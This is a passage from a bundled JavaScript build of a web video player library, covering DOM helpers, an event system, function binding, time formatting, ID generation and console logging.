  16149. var elIdAttr = 'vdata' + new Date().getTime();
  16150. /**
  16151. * Returns the cache object where data for an element is stored
  16152. *
  16153. * @param {Element} el Element to store data for.
  16154. * @return {Object}
  16155. * @function getElData
  16156. */
  16157. function getElData(el) {
  16158. var id = el[elIdAttr];
  16159. if (!id) {
  16160. id = el[elIdAttr] = Guid.newGUID();
  16161. }
  16162. if (!elData[id]) {
  16163. elData[id] = {};
  16164. }
  16165. return elData[id];
  16166. }
  16167. /**
  16168. * Returns whether or not an element has cached data
  16169. *
  16170. * @param {Element} el A dom element
  16171. * @return {Boolean}
  16172. * @private
  16173. * @function hasElData
  16174. */
  16175. function hasElData(el) {
  16176. var id = el[elIdAttr];
  16177. if (!id) {
  16178. return false;
  16179. }
  16180. return !!Object.getOwnPropertyNames(elData[id]).length;
  16181. }
  16182. /**
  16183. * Delete data for the element from the cache and the guid attr from getElementById
  16184. *
  16185. * @param {Element} el Remove data for an element
  16186. * @private
  16187. * @function removeElData
  16188. */
  16189. function removeElData(el) {
  16190. var id = el[elIdAttr];
  16191. if (!id) {
  16192. return;
  16193. }
  16194. // Remove all stored data
  16195. delete elData[id];
  16196. // Remove the elIdAttr property from the DOM node
  16197. try {
  16198. delete el[elIdAttr];
  16199. } catch (e) {
  16200. if (el.removeAttribute) {
  16201. el.removeAttribute(elIdAttr);
  16202. } else {
  16203. // IE doesn't appear to support removeAttribute on the document element
  16204. el[elIdAttr] = null;
  16205. }
  16206. }
  16207. }
  16208. /**
  16209. * Check if an element has a CSS class
  16210. *
  16211. * @function hasElClass
  16212. * @param {Element} element Element to check
  16213. * @param {String} classToCheck Classname to check
  16214. */
  16215. function hasElClass(element, classToCheck) {
  16216. if (element.classList) {
  16217. return element.classList.contains(classToCheck);
  16218. } else {
  16219. throwIfWhitespace(classToCheck);
  16220. return classRegExp(classToCheck).test(element.className);
  16221. }
  16222. }
  16223. /**
  16224. * Add a CSS class name to an element
  16225. *
  16226. * @function addElClass
  16227. * @param {Element} element Element to add class name to
  16228. * @param {String} classToAdd Classname to add
  16229. */
  16230. function addElClass(element, classToAdd) {
  16231. if (element.classList) {
  16232. element.classList.add(classToAdd);
  16233. // Don't need to `throwIfWhitespace` here because `hasElClass` will do it
  16234. // in the case of classList not being supported.
  16235. } else if (!hasElClass(element, classToAdd)) {
  16236. element.className = (element.className + ' ' + classToAdd).trim();
  16237. }
  16238. return element;
  16239. }
  16240. /**
  16241. * Remove a CSS class name from an element
  16242. *
  16243. * @function removeElClass
  16244. * @param {Element} element Element to remove from class name
  16245. * @param {String} classToRemove Classname to remove
  16246. */
  16247. function removeElClass(element, classToRemove) {
  16248. if (element.classList) {
  16249. element.classList.remove(classToRemove);
  16250. } else {
  16251. throwIfWhitespace(classToRemove);
  16252. element.className = element.className.split(/\s+/).filter(function (c) {
  16253. return c !== classToRemove;
  16254. }).join(' ');
  16255. }
  16256. return element;
  16257. }
  16258. /**
  16259. * Adds or removes a CSS class name on an element depending on an optional
  16260. * condition or the presence/absence of the class name.
  16261. *
  16262. * @function toggleElClass
  16263. * @param {Element} element
  16264. * @param {String} classToToggle
  16265. * @param {Boolean|Function} [predicate]
  16266. * Can be a function that returns a Boolean. If `true`, the class
  16267. * will be added; if `false`, the class will be removed. If not
  16268. * given, the class will be added if not present and vice versa.
  16269. */
  16270. function toggleElClass(element, classToToggle, predicate) {
  16271. // This CANNOT use `classList` internally because IE does not support the
  16272. // second parameter to the `classList.toggle()` method! Which is fine because
  16273. // `classList` will be used by the add/remove functions.
  16274. var has = hasElClass(element, classToToggle);
  16275. if (typeof predicate === 'function') {
  16276. predicate = predicate(element, classToToggle);
  16277. }
  16278. if (typeof predicate !== 'boolean') {
  16279. predicate = !has;
  16280. }
  16281. // If the necessary class operation matches the current state of the
  16282. // element, no action is required.
  16283. if (predicate === has) {
  16284. return;
  16285. }
  16286. if (predicate) {
  16287. addElClass(element, classToToggle);
  16288. } else {
  16289. removeElClass(element, classToToggle);
  16290. }
  16291. return element;
  16292. }
  16293. /**
  16294. * Apply attributes to an HTML element.
  16295. *
  16296. * @param {Element} el Target element.
  16297. * @param {Object=} attributes Element attributes to be applied.
  16298. * @private
  16299. * @function setElAttributes
  16300. */
  16301. function setElAttributes(el, attributes) {
  16302. Object.getOwnPropertyNames(attributes).forEach(function (attrName) {
  16303. var attrValue = attributes[attrName];
  16304. if (attrValue === null || typeof attrValue === 'undefined' || attrValue === false) {
  16305. el.removeAttribute(attrName);
  16306. } else {
  16307. el.setAttribute(attrName, attrValue === true ? '' : attrValue);
  16308. }
  16309. });
  16310. }
  16311. /**
  16312. * Get an element's attribute values, as defined on the HTML tag
  16313. * Attributes are not the same as properties. They're defined on the tag
  16314. * or with setAttribute (which shouldn't be used with HTML)
  16315. * This will return true or false for boolean attributes.
  16316. *
  16317. * @param {Element} tag Element from which to get tag attributes
  16318. * @return {Object}
  16319. * @private
  16320. * @function getElAttributes
  16321. */
  16322. function getElAttributes(tag) {
  16323. var obj, knownBooleans, attrs, attrName, attrVal;
  16324. obj = {};
  16325. // known boolean attributes
  16326. // we can check for matching boolean properties, but older browsers
  16327. // won't know about HTML5 boolean attributes that we still read from
  16328. knownBooleans = ',' + 'autoplay,controls,loop,muted,default' + ',';
  16329. if (tag && tag.attributes && tag.attributes.length > 0) {
  16330. attrs = tag.attributes;
  16331. for (var i = attrs.length - 1; i >= 0; i--) {
  16332. attrName = attrs[i].name;
  16333. attrVal = attrs[i].value;
  16334. // check for known booleans
  16335. // the matching element property will return a value for typeof
  16336. if (typeof tag[attrName] === 'boolean' || knownBooleans.indexOf(',' + attrName + ',') !== -1) {
  16337. // the value of an included boolean attribute is typically an empty
  16338. // string ('') which would equal false if we just check for a false value.
  16339. // we also don't want support bad code like autoplay='false'
  16340. attrVal = attrVal !== null ? true : false;
  16341. }
  16342. obj[attrName] = attrVal;
  16343. }
  16344. }
  16345. return obj;
  16346. }
  16347. /**
  16348. * Attempt to block the ability to select text while dragging controls
  16349. *
  16350. * @return {Boolean}
  16351. * @function blockTextSelection
  16352. */
  16353. function blockTextSelection() {
  16354. _globalDocument2['default'].body.focus();
  16355. _globalDocument2['default'].onselectstart = function () {
  16356. return false;
  16357. };
  16358. }
  16359. /**
  16360. * Turn off text selection blocking
  16361. *
  16362. * @return {Boolean}
  16363. * @function unblockTextSelection
  16364. */
  16365. function unblockTextSelection() {
  16366. _globalDocument2['default'].onselectstart = function () {
  16367. return true;
  16368. };
  16369. }
  16370. /**
  16371. * Offset Left
  16372. * getBoundingClientRect technique from
  16373. * John Resig http://ejohn.org/blog/getboundingclientrect-is-awesome/
  16374. *
  16375. * @function findElPosition
  16376. * @param {Element} el Element from which to get offset
  16377. * @return {Object}
  16378. */
  16379. function findElPosition(el) {
  16380. var box = undefined;
  16381. if (el.getBoundingClientRect && el.parentNode) {
  16382. box = el.getBoundingClientRect();
  16383. }
  16384. if (!box) {
  16385. return {
  16386. left: 0,
  16387. top: 0
  16388. };
  16389. }
  16390. var docEl = _globalDocument2['default'].documentElement;
  16391. var body = _globalDocument2['default'].body;
  16392. var clientLeft = docEl.clientLeft || body.clientLeft || 0;
  16393. var scrollLeft = _globalWindow2['default'].pageXOffset || body.scrollLeft;
  16394. var left = box.left + scrollLeft - clientLeft;
  16395. var clientTop = docEl.clientTop || body.clientTop || 0;
  16396. var scrollTop = _globalWindow2['default'].pageYOffset || body.scrollTop;
  16397. var top = box.top + scrollTop - clientTop;
  16398. // Android sometimes returns slightly off decimal values, so need to round
  16399. return {
  16400. left: Math.round(left),
  16401. top: Math.round(top)
  16402. };
  16403. }
  16404. /**
  16405. * Get pointer position in element
  16406. * Returns an object with x and y coordinates.
  16407. * The base on the coordinates are the bottom left of the element.
  16408. *
  16409. * @function getPointerPosition
  16410. * @param {Element} el Element on which to get the pointer position on
  16411. * @param {Event} event Event object
  16412. * @return {Object} This object will have x and y coordinates corresponding to the mouse position
  16413. */
  16414. function getPointerPosition(el, event) {
  16415. var position = {};
  16416. var box = findElPosition(el);
  16417. var boxW = el.offsetWidth;
  16418. var boxH = el.offsetHeight;
  16419. var boxY = box.top;
  16420. var boxX = box.left;
  16421. var pageY = event.pageY;
  16422. var pageX = event.pageX;
  16423. if (event.changedTouches) {
  16424. pageX = event.changedTouches[0].pageX;
  16425. pageY = event.changedTouches[0].pageY;
  16426. }
  16427. position.y = Math.max(0, Math.min(1, (boxY - pageY + boxH) / boxH));
  16428. position.x = Math.max(0, Math.min(1, (pageX - boxX) / boxW));
  16429. return position;
  16430. }
  16431. /**
  16432. * Determines, via duck typing, whether or not a value is a DOM element.
  16433. *
  16434. * @function isEl
  16435. * @param {Mixed} value
  16436. * @return {Boolean}
  16437. */
  16438. function isEl(value) {
  16439. return !!value && typeof value === 'object' && value.nodeType === 1;
  16440. }
  16441. /**
  16442. * Determines, via duck typing, whether or not a value is a text node.
  16443. *
  16444. * @param {Mixed} value
  16445. * @return {Boolean}
  16446. */
  16447. function isTextNode(value) {
  16448. return !!value && typeof value === 'object' && value.nodeType === 3;
  16449. }
  16450. /**
  16451. * Empties the contents of an element.
  16452. *
  16453. * @function emptyEl
  16454. * @param {Element} el
  16455. * @return {Element}
  16456. */
  16457. function emptyEl(el) {
  16458. while (el.firstChild) {
  16459. el.removeChild(el.firstChild);
  16460. }
  16461. return el;
  16462. }
  16463. /**
  16464. * Normalizes content for eventual insertion into the DOM.
  16465. *
  16466. * This allows a wide range of content definition methods, but protects
  16467. * from falling into the trap of simply writing to `innerHTML`, which is
  16468. * an XSS concern.
  16469. *
  16470. * The content for an element can be passed in multiple types and
  16471. * combinations, whose behavior is as follows:
  16472. *
  16473. * - String
  16474. * Normalized into a text node.
  16475. *
  16476. * - Element, TextNode
  16477. * Passed through.
  16478. *
  16479. * - Array
  16480. * A one-dimensional array of strings, elements, nodes, or functions (which
  16481. * return single strings, elements, or nodes).
  16482. *
  16483. * - Function
  16484. * If the sole argument, is expected to produce a string, element,
  16485. * node, or array.
  16486. *
  16487. * @function normalizeContent
  16488. * @param {String|Element|TextNode|Array|Function} content
  16489. * @return {Array}
  16490. */
  16491. function normalizeContent(content) {
  16492. // First, invoke content if it is a function. If it produces an array,
  16493. // that needs to happen before normalization.
  16494. if (typeof content === 'function') {
  16495. content = content();
  16496. }
  16497. // Next up, normalize to an array, so one or many items can be normalized,
  16498. // filtered, and returned.
  16499. return (Array.isArray(content) ? content : [content]).map(function (value) {
  16500. // First, invoke value if it is a function to produce a new value,
  16501. // which will be subsequently normalized to a Node of some kind.
  16502. if (typeof value === 'function') {
  16503. value = value();
  16504. }
  16505. if (isEl(value) || isTextNode(value)) {
  16506. return value;
  16507. }
  16508. if (typeof value === 'string' && /\S/.test(value)) {
  16509. return _globalDocument2['default'].createTextNode(value);
  16510. }
  16511. }).filter(function (value) {
  16512. return value;
  16513. });
  16514. }
  16515. /**
  16516. * Normalizes and appends content to an element.
  16517. *
  16518. * @function appendContent
  16519. * @param {Element} el
  16520. * @param {String|Element|TextNode|Array|Function} content
  16521. * See: `normalizeContent`
  16522. * @return {Element}
  16523. */
  16524. function appendContent(el, content) {
  16525. normalizeContent(content).forEach(function (node) {
  16526. return el.appendChild(node);
  16527. });
  16528. return el;
  16529. }
  16530. /**
  16531. * Normalizes and inserts content into an element; this is identical to
  16532. * `appendContent()`, except it empties the element first.
  16533. *
  16534. * @function insertContent
  16535. * @param {Element} el
  16536. * @param {String|Element|TextNode|Array|Function} content
  16537. * See: `normalizeContent`
  16538. * @return {Element}
  16539. */
  16540. function insertContent(el, content) {
  16541. return appendContent(emptyEl(el), content);
  16542. }
  16543. /**
  16544. * Finds a single DOM element matching `selector` within the optional
  16545. * `context` of another DOM element (defaulting to `document`).
  16546. *
  16547. * @function $
  16548. * @param {String} selector
  16549. * A valid CSS selector, which will be passed to `querySelector`.
  16550. *
  16551. * @param {Element|String} [context=document]
  16552. * A DOM element within which to query. Can also be a selector
  16553. * string in which case the first matching element will be used
  16554. * as context. If missing (or no element matches selector), falls
  16555. * back to `document`.
  16556. *
  16557. * @return {Element|null}
  16558. */
  16559. var $ = createQuerier('querySelector');
  16560. exports.$ = $;
  16561. /**
  16562. * Finds a all DOM elements matching `selector` within the optional
  16563. * `context` of another DOM element (defaulting to `document`).
  16564. *
  16565. * @function $$
  16566. * @param {String} selector
  16567. * A valid CSS selector, which will be passed to `querySelectorAll`.
  16568. *
  16569. * @param {Element|String} [context=document]
  16570. * A DOM element within which to query. Can also be a selector
  16571. * string in which case the first matching element will be used
  16572. * as context. If missing (or no element matches selector), falls
  16573. * back to `document`.
  16574. *
  16575. * @return {NodeList}
  16576. */
  16577. var $$ = createQuerier('querySelectorAll');
  16578. exports.$$ = $$;
  16579. },{"./guid.js":146,"./log.js":147,"global/document":1,"global/window":2,"tsml":55}],143:[function(_dereq_,module,exports){
  16580. /**
  16581. * @file events.js
  16582. *
  16583. * Event System (John Resig - Secrets of a JS Ninja http://jsninja.com/)
  16584. * (Original book version wasn't completely usable, so fixed some things and made Closure Compiler compatible)
  16585. * This should work very similarly to jQuery's events, however it's based off the book version which isn't as
  16586. * robust as jquery's, so there's probably some differences.
  16587. */
  16588. 'use strict';
  16589. exports.__esModule = true;
  16590. exports.on = on;
  16591. exports.off = off;
  16592. exports.trigger = trigger;
  16593. exports.one = one;
  16594. exports.fixEvent = fixEvent;
  16595. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  16596. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  16597. var _domJs = _dereq_('./dom.js');
  16598. var Dom = _interopRequireWildcard(_domJs);
  16599. var _guidJs = _dereq_('./guid.js');
  16600. var Guid = _interopRequireWildcard(_guidJs);
  16601. var _logJs = _dereq_('./log.js');
  16602. var _logJs2 = _interopRequireDefault(_logJs);
  16603. var _globalWindow = _dereq_('global/window');
  16604. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  16605. var _globalDocument = _dereq_('global/document');
  16606. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  16607. /**
  16608. * Add an event listener to element
  16609. * It stores the handler function in a separate cache object
  16610. * and adds a generic handler to the element's event,
  16611. * along with a unique id (guid) to the element.
  16612. *
  16613. * @param {Element|Object} elem Element or object to bind listeners to
  16614. * @param {String|Array} type Type of event to bind to.
  16615. * @param {Function} fn Event listener.
  16616. * @method on
  16617. */
  16618. function on(elem, type, fn) {
  16619. if (Array.isArray(type)) {
  16620. return _handleMultipleEvents(on, elem, type, fn);
  16621. }
  16622. var data = Dom.getElData(elem);
  16623. // We need a place to store all our handler data
  16624. if (!data.handlers) data.handlers = {};
  16625. if (!data.handlers[type]) data.handlers[type] = [];
  16626. if (!fn.guid) fn.guid = Guid.newGUID();
  16627. data.handlers[type].push(fn);
  16628. if (!data.dispatcher) {
  16629. data.disabled = false;
  16630. data.dispatcher = function (event, hash) {
  16631. if (data.disabled) return;
  16632. event = fixEvent(event);
  16633. var handlers = data.handlers[event.type];
  16634. if (handlers) {
  16635. // Copy handlers so if handlers are added/removed during the process it doesn't throw everything off.
  16636. var handlersCopy = handlers.slice(0);
  16637. for (var m = 0, n = handlersCopy.length; m < n; m++) {
  16638. if (event.isImmediatePropagationStopped()) {
  16639. break;
  16640. } else {
  16641. try {
  16642. handlersCopy[m].call(elem, event, hash);
  16643. } catch (e) {
  16644. _logJs2['default'].error(e);
  16645. }
  16646. }
  16647. }
  16648. }
  16649. };
  16650. }
  16651. if (data.handlers[type].length === 1) {
  16652. if (elem.addEventListener) {
  16653. elem.addEventListener(type, data.dispatcher, false);
  16654. } else if (elem.attachEvent) {
  16655. elem.attachEvent('on' + type, data.dispatcher);
  16656. }
  16657. }
  16658. }
  16659. /**
  16660. * Removes event listeners from an element
  16661. *
  16662. * @param {Element|Object} elem Object to remove listeners from
  16663. * @param {String|Array=} type Type of listener to remove. Don't include to remove all events from element.
  16664. * @param {Function} fn Specific listener to remove. Don't include to remove listeners for an event type.
  16665. * @method off
  16666. */
  16667. function off(elem, type, fn) {
  16668. // Don't want to add a cache object through getElData if not needed
  16669. if (!Dom.hasElData(elem)) return;
  16670. var data = Dom.getElData(elem);
  16671. // If no events exist, nothing to unbind
  16672. if (!data.handlers) {
  16673. return;
  16674. }
  16675. if (Array.isArray(type)) {
  16676. return _handleMultipleEvents(off, elem, type, fn);
  16677. }
  16678. // Utility function
  16679. var removeType = function removeType(t) {
  16680. data.handlers[t] = [];
  16681. _cleanUpEvents(elem, t);
  16682. };
  16683. // Are we removing all bound events?
  16684. if (!type) {
  16685. for (var t in data.handlers) {
  16686. removeType(t);
  16687. }return;
  16688. }
  16689. var handlers = data.handlers[type];
  16690. // If no handlers exist, nothing to unbind
  16691. if (!handlers) return;
  16692. // If no listener was provided, remove all listeners for type
  16693. if (!fn) {
  16694. removeType(type);
  16695. return;
  16696. }
  16697. // We're only removing a single handler
  16698. if (fn.guid) {
  16699. for (var n = 0; n < handlers.length; n++) {
  16700. if (handlers[n].guid === fn.guid) {
  16701. handlers.splice(n--, 1);
  16702. }
  16703. }
  16704. }
  16705. _cleanUpEvents(elem, type);
  16706. }
  16707. /**
  16708. * Trigger an event for an element
  16709. *
  16710. * @param {Element|Object} elem Element to trigger an event on
  16711. * @param {Event|Object|String} event A string (the type) or an event object with a type attribute
  16712. * @param {Object} [hash] data hash to pass along with the event
  16713. * @return {Boolean=} Returned only if default was prevented
  16714. * @method trigger
  16715. */
  16716. function trigger(elem, event, hash) {
  16717. // Fetches element data and a reference to the parent (for bubbling).
  16718. // Don't want to add a data object to cache for every parent,
  16719. // so checking hasElData first.
  16720. var elemData = Dom.hasElData(elem) ? Dom.getElData(elem) : {};
  16721. var parent = elem.parentNode || elem.ownerDocument;
  16722. // type = event.type || event,
  16723. // handler;
  16724. // If an event name was passed as a string, creates an event out of it
  16725. if (typeof event === 'string') {
  16726. event = { type: event, target: elem };
  16727. }
  16728. // Normalizes the event properties.
  16729. event = fixEvent(event);
  16730. // If the passed element has a dispatcher, executes the established handlers.
  16731. if (elemData.dispatcher) {
  16732. elemData.dispatcher.call(elem, event, hash);
  16733. }
  16734. // Unless explicitly stopped or the event does not bubble (e.g. media events)
  16735. // recursively calls this function to bubble the event up the DOM.
  16736. if (parent && !event.isPropagationStopped() && event.bubbles === true) {
  16737. trigger.call(null, parent, event, hash);
  16738. // If at the top of the DOM, triggers the default action unless disabled.
  16739. } else if (!parent && !event.defaultPrevented) {
  16740. var targetData = Dom.getElData(event.target);
  16741. // Checks if the target has a default action for this event.
  16742. if (event.target[event.type]) {
  16743. // Temporarily disables event dispatching on the target as we have already executed the handler.
  16744. targetData.disabled = true;
  16745. // Executes the default action.
  16746. if (typeof event.target[event.type] === 'function') {
  16747. event.target[event.type]();
  16748. }
  16749. // Re-enables event dispatching.
  16750. targetData.disabled = false;
  16751. }
  16752. }
  16753. // Inform the triggerer if the default was prevented by returning false
  16754. return !event.defaultPrevented;
  16755. }
  16756. /**
  16757. * Trigger a listener only once for an event
  16758. *
  16759. * @param {Element|Object} elem Element or object to
  16760. * @param {String|Array} type Name/type of event
  16761. * @param {Function} fn Event handler function
  16762. * @method one
  16763. */
  16764. function one(elem, type, fn) {
  16765. if (Array.isArray(type)) {
  16766. return _handleMultipleEvents(one, elem, type, fn);
  16767. }
  16768. var func = function func() {
  16769. off(elem, type, func);
  16770. fn.apply(this, arguments);
  16771. };
  16772. // copy the guid to the new function so it can removed using the original function's ID
  16773. func.guid = fn.guid = fn.guid || Guid.newGUID();
  16774. on(elem, type, func);
  16775. }
  16776. /**
  16777. * Fix a native event to have standard property values
  16778. *
  16779. * @param {Object} event Event object to fix
  16780. * @return {Object}
  16781. * @private
  16782. * @method fixEvent
  16783. */
  16784. function fixEvent(event) {
  16785. function returnTrue() {
  16786. return true;
  16787. }
  16788. function returnFalse() {
  16789. return false;
  16790. }
  16791. // Test if fixing up is needed
  16792. // Used to check if !event.stopPropagation instead of isPropagationStopped
  16793. // But native events return true for stopPropagation, but don't have
  16794. // other expected methods like isPropagationStopped. Seems to be a problem
  16795. // with the Javascript Ninja code. So we're just overriding all events now.
  16796. if (!event || !event.isPropagationStopped) {
  16797. var old = event || _globalWindow2['default'].event;
  16798. event = {};
  16799. // Clone the old object so that we can modify the values event = {};
  16800. // IE8 Doesn't like when you mess with native event properties
  16801. // Firefox returns false for event.hasOwnProperty('type') and other props
  16802. // which makes copying more difficult.
  16803. // TODO: Probably best to create a whitelist of event props
  16804. for (var key in old) {
  16805. // Safari 6.0.3 warns you if you try to copy deprecated layerX/Y
  16806. // Chrome warns you if you try to copy deprecated keyboardEvent.keyLocation
  16807. // and webkitMovementX/Y
  16808. if (key !== 'layerX' && key !== 'layerY' && key !== 'keyLocation' && key !== 'webkitMovementX' && key !== 'webkitMovementY') {
  16809. // Chrome 32+ warns if you try to copy deprecated returnValue, but
  16810. // we still want to if preventDefault isn't supported (IE8).
  16811. if (!(key === 'returnValue' && old.preventDefault)) {
  16812. event[key] = old[key];
  16813. }
  16814. }
  16815. }
  16816. // The event occurred on this element
  16817. if (!event.target) {
  16818. event.target = event.srcElement || _globalDocument2['default'];
  16819. }
  16820. // Handle which other element the event is related to
  16821. if (!event.relatedTarget) {
  16822. event.relatedTarget = event.fromElement === event.target ? event.toElement : event.fromElement;
  16823. }
  16824. // Stop the default browser action
  16825. event.preventDefault = function () {
  16826. if (old.preventDefault) {
  16827. old.preventDefault();
  16828. }
  16829. event.returnValue = false;
  16830. old.returnValue = false;
  16831. event.defaultPrevented = true;
  16832. };
  16833. event.defaultPrevented = false;
  16834. // Stop the event from bubbling
  16835. event.stopPropagation = function () {
  16836. if (old.stopPropagation) {
  16837. old.stopPropagation();
  16838. }
  16839. event.cancelBubble = true;
  16840. old.cancelBubble = true;
  16841. event.isPropagationStopped = returnTrue;
  16842. };
  16843. event.isPropagationStopped = returnFalse;
  16844. // Stop the event from bubbling and executing other handlers
  16845. event.stopImmediatePropagation = function () {
  16846. if (old.stopImmediatePropagation) {
  16847. old.stopImmediatePropagation();
  16848. }
  16849. event.isImmediatePropagationStopped = returnTrue;
  16850. event.stopPropagation();
  16851. };
  16852. event.isImmediatePropagationStopped = returnFalse;
  16853. // Handle mouse position
  16854. if (event.clientX != null) {
  16855. var doc = _globalDocument2['default'].documentElement,
  16856. body = _globalDocument2['default'].body;
  16857. event.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
  16858. event.pageY = event.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0);
  16859. }
  16860. // Handle key presses
  16861. event.which = event.charCode || event.keyCode;
  16862. // Fix button for mouse clicks:
  16863. // 0 == left; 1 == middle; 2 == right
  16864. if (event.button != null) {
  16865. event.button = event.button & 1 ? 0 : event.button & 4 ? 1 : event.button & 2 ? 2 : 0;
  16866. }
  16867. }
  16868. // Returns fixed-up instance
  16869. return event;
  16870. }
  16871. /**
  16872. * Clean up the listener cache and dispatchers
  16873. *
  16874. * @param {Element|Object} elem Element to clean up
  16875. * @param {String} type Type of event to clean up
  16876. * @private
  16877. * @method _cleanUpEvents
  16878. */
  16879. function _cleanUpEvents(elem, type) {
  16880. var data = Dom.getElData(elem);
  16881. // Remove the events of a particular type if there are none left
  16882. if (data.handlers[type].length === 0) {
  16883. delete data.handlers[type];
  16884. // data.handlers[type] = null;
  16885. // Setting to null was causing an error with data.handlers
  16886. // Remove the meta-handler from the element
  16887. if (elem.removeEventListener) {
  16888. elem.removeEventListener(type, data.dispatcher, false);
  16889. } else if (elem.detachEvent) {
  16890. elem.detachEvent('on' + type, data.dispatcher);
  16891. }
  16892. }
  16893. // Remove the events object if there are no types left
  16894. if (Object.getOwnPropertyNames(data.handlers).length <= 0) {
  16895. delete data.handlers;
  16896. delete data.dispatcher;
  16897. delete data.disabled;
  16898. }
  16899. // Finally remove the element data if there is no data left
  16900. if (Object.getOwnPropertyNames(data).length === 0) {
  16901. Dom.removeElData(elem);
  16902. }
  16903. }
  16904. /**
  16905. * Loops through an array of event types and calls the requested method for each type.
  16906. *
  16907. * @param {Function} fn The event method we want to use.
  16908. * @param {Element|Object} elem Element or object to bind listeners to
  16909. * @param {String} type Type of event to bind to.
  16910. * @param {Function} callback Event listener.
  16911. * @private
  16912. * @function _handleMultipleEvents
  16913. */
  16914. function _handleMultipleEvents(fn, elem, types, callback) {
  16915. types.forEach(function (type) {
  16916. //Call the event method for each one of the types
  16917. fn(elem, type, callback);
  16918. });
  16919. }
  16920. },{"./dom.js":142,"./guid.js":146,"./log.js":147,"global/document":1,"global/window":2}],144:[function(_dereq_,module,exports){
  16921. /**
  16922. * @file fn.js
  16923. */
  16924. 'use strict';
  16925. exports.__esModule = true;
  16926. var _guidJs = _dereq_('./guid.js');
  16927. /**
  16928. * Bind (a.k.a proxy or Context). A simple method for changing the context of a function
  16929. * It also stores a unique id on the function so it can be easily removed from events
  16930. *
  16931. * @param {*} context The object to bind as scope
  16932. * @param {Function} fn The function to be bound to a scope
  16933. * @param {Number=} uid An optional unique ID for the function to be set
  16934. * @return {Function}
  16935. * @private
  16936. * @method bind
  16937. */
  16938. var bind = function bind(context, fn, uid) {
  16939. // Make sure the function has a unique ID
  16940. if (!fn.guid) {
  16941. fn.guid = _guidJs.newGUID();
  16942. }
  16943. // Create the new function that changes the context
  16944. var ret = function ret() {
  16945. return fn.apply(context, arguments);
  16946. };
  16947. // Allow for the ability to individualize this function
  16948. // Needed in the case where multiple objects might share the same prototype
  16949. // IF both items add an event listener with the same function, then you try to remove just one
  16950. // it will remove both because they both have the same guid.
  16951. // when using this, you need to use the bind method when you remove the listener as well.
  16952. // currently used in text tracks
  16953. ret.guid = uid ? uid + '_' + fn.guid : fn.guid;
  16954. return ret;
  16955. };
  16956. exports.bind = bind;
  16957. },{"./guid.js":146}],145:[function(_dereq_,module,exports){
  16958. /**
  16959. * @file format-time.js
  16960. *
  16961. * Format seconds as a time string, H:MM:SS or M:SS
  16962. * Supplying a guide (in seconds) will force a number of leading zeros
  16963. * to cover the length of the guide
  16964. *
  16965. * @param {Number} seconds Number of seconds to be turned into a string
  16966. * @param {Number} guide Number (in seconds) to model the string after
  16967. * @return {String} Time formatted as H:MM:SS or M:SS
  16968. * @private
  16969. * @function formatTime
  16970. */
  16971. 'use strict';
  16972. exports.__esModule = true;
  16973. function formatTime(seconds) {
  16974. var guide = arguments.length <= 1 || arguments[1] === undefined ? seconds : arguments[1];
  16975. return (function () {
  16976. seconds = seconds < 0 ? 0 : seconds;
  16977. var s = Math.floor(seconds % 60);
  16978. var m = Math.floor(seconds / 60 % 60);
  16979. var h = Math.floor(seconds / 3600);
  16980. var gm = Math.floor(guide / 60 % 60);
  16981. var gh = Math.floor(guide / 3600);
  16982. // handle invalid times
  16983. if (isNaN(seconds) || seconds === Infinity) {
  16984. // '-' is false for all relational operators (e.g. <, >=) so this setting
  16985. // will add the minimum number of fields specified by the guide
  16986. h = m = s = '-';
  16987. }
  16988. // Check if we need to show hours
  16989. h = h > 0 || gh > 0 ? h + ':' : '';
  16990. // If hours are showing, we may need to add a leading zero.
  16991. // Always show at least one digit of minutes.
  16992. m = ((h || gm >= 10) && m < 10 ? '0' + m : m) + ':';
  16993. // Check if leading zero is need for seconds
  16994. s = s < 10 ? '0' + s : s;
  16995. return h + m + s;
  16996. })();
  16997. }
  16998. exports['default'] = formatTime;
  16999. module.exports = exports['default'];
  17000. },{}],146:[function(_dereq_,module,exports){
  17001. /**
  17002. * @file guid.js
  17003. *
  17004. * Unique ID for an element or function
  17005. * @type {Number}
  17006. * @private
  17007. */
  17008. "use strict";
  17009. exports.__esModule = true;
  17010. exports.newGUID = newGUID;
  17011. var _guid = 1;
  17012. /**
  17013. * Get the next unique ID
  17014. *
  17015. * @return {String}
  17016. * @function newGUID
  17017. */
  17018. function newGUID() {
  17019. return _guid++;
  17020. }
  17021. },{}],147:[function(_dereq_,module,exports){
  17022. /**
  17023. * @file log.js
  17024. */
  17025. 'use strict';
  17026. exports.__esModule = true;
  17027. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  17028. var _globalWindow = _dereq_('global/window');
  17029. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  17030. var _browser = _dereq_('./browser');
  17031. /**
  17032. * Log messages to the console and history based on the type of message
  17033. *
  17034. * @param {String} type
  17035. * The name of the console method to use.
  17036. * @param {Array} args
  17037. * The arguments to be passed to the matching console method.
  17038. * @param {Boolean} [stringify]
  17039. * By default, only old IEs should get console argument stringification,
  17040. * but this is exposed as a parameter to facilitate testing.
  17041. */
  17042. var logByType = function logByType(type, args) {
  17043. var stringify = arguments.length <= 2 || arguments[2] === undefined ? !!_browser.IE_VERSION && _browser.IE_VERSION < 11 : arguments[2];
  17044. var console = _globalWindow2['default'].console;
  17045. // If there's no console then don't try to output messages, but they will
  17046. // still be stored in `log.history`.
  17047. //
  17048. // Was setting these once outside of this function, but containing them
  17049. // in the function makes it easier to test cases where console doesn't exist
  17050. // when the module is executed.
  17051. var fn = console && console[type] || function () {};
  17052. if (type !== 'log') {
  17053. // add the type to the front of the message when it's not "log"
  17054. args.unshift(type.toUpperCase() + ':');
  17055. }
  17056. // add to history
  17057. log.history.push(args);
  17058. // add console prefix after adding to history
  17059. args.unshift('VIDEOJS:');
  17060. // IEs previous to 11 log objects uselessly as "[object Object]"; so, JSONify
  17061. // objects and arrays for those less-capable browsers.
  17062. if (stringify) {
  17063. args = args.map(function (a) {
